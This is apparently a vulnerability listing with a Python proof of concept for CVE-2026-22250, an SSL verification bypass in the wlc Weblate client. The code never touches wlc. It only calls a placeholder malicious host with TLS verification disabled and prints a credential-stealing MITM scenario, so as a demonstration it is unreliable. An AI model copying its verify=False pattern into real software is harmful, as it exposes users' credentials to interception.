CVE-2026-22250 wlc命令-line客户端SSL验证绕过漏洞

#!/usr/bin/env python3 """ CVE-2026-22250 PoC - wlc SSL Verification Bypass Note: This is a conceptual demonstration for security research purposes only """ import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def test_ssl_bypass(): """ This PoC demonstrates the SSL verification bypass in wlc < 1.17.0 The vulnerability allows skipping SSL verification for specially crafted URLs """ # Normal request without SSL verification (demonstrating the bypass) # In vulnerable version, wlc would skip SSL check for certain URLs target_url = "https://malicious-weblate-server.example.com/api/" # This simulates what a vulnerable wlc client would do # It would accept certificates without proper validation try: # Vulnerable behavior: skipping SSL verification response = requests.get(target_url, verify=False, timeout=10) print(f"[!] SSL verification bypassed! Status: {response.status_code}") print(f"[!] This demonstrates the vulnerability in wlc < 1.17.0") except requests.exceptions.SSLError as e: print(f"[-] SSL error occurred: {e}") except Exception as e: print(f"[-] Request failed: {e}") def demonstrate_mitm_attack(): """ Conceptual demonstration of MITM attack using the SSL bypass In a real attack scenario: 1. Attacker sets up a malicious Weblate server or intercepts traffic 2. User with vulnerable wlc connects to the attacker's server 3. wlc accepts the fake SSL certificate 4. Attacker steals credentials/API keys """ print("[*] Attack scenario for CVE-2026-22250:") print("[*] 1. Attacker controls a server or network path") print("[*] 2. User with wlc < 1.17.0 connects to Weblate server") print("[*] 3. wlc skips SSL verification for crafted URL") print("[*] 4. Attacker intercepts and steals credentials") print("[*] 5. Attacker can now access the real Weblate server") if __name__ == "__main__": print("CVE-2026-22250 - wlc SSL Verification Bypass PoC") print("=" * 50) test_ssl_bypass() demonstrate_mitm_attack()